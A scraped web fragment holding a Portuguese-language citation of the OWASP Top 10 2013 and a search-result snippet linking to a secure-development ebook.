OWASP, Open Web Application Security Project . The OWASP Top10 2013 for brasilian portuguese. Disponível em: <https://www.owasp.org/index.php/Top10#OWASP_Top_10_for_2013>. Acesso: fev. 2017.


produtivati.com.brprodutivati.com.br/.../sld/sdl_ebookcompleto.docx · web viewseguro) foi criada...

Documents